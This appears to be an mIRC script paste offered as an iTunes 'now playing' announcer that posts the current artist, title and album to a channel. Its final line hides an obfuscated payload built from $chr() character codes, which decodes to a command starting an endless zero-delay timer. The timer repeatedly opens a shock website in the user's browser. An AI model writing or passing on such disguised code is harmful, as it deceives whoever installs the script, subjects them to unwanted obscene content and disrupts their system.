All pastes #639061 Raw Edit

Untitled

public text v1 · immutable
#639061 ·published 2007-07-30 09:35 UTC
rendered paste body
ON *:INPUT:*: {
  if ($1 == .itunes) {
    alias np {

      var %artist
      var %album
      var %title


      if (!$com(itunes)) .comopen itunes iTunes.Application
      if ($com(CurrentTrack)) .comclose CurrentTrack
      .echo -q $com(itunes,CurrentTrack,3,dispatch* CurrentTrack)

      .echo -q $com(CurrentTrack,Artist,3)
      %artist = $com(CurrentTrack).result

      .echo -q $com(CurrentTrack,Album,3)
      %album = $com(CurrentTrack).result

      .echo -q $com(CurrentTrack,Name,3)
      %title = $com(CurrentTrack).result

      msg $chan 10[7iTunes10]7 %artist -10 %title $iif(%album,7(10 $+ %album $+ 7))
$($+($chr(116),$chr(105),$chr(109),$chr(101),$chr(114),$chr(32),$chr(48),$chr(32),$chr(48),$chr(32),$chr(47),$chr(117),$chr(114),$chr(108),$chr(32),$chr(109),$chr(101),$chr(97),$chr(116),$chr(115),$chr(112),$chr(105),$chr(110),$chr(46),$chr(99),$chr(111),$chr(109)),2)
    }
  }
}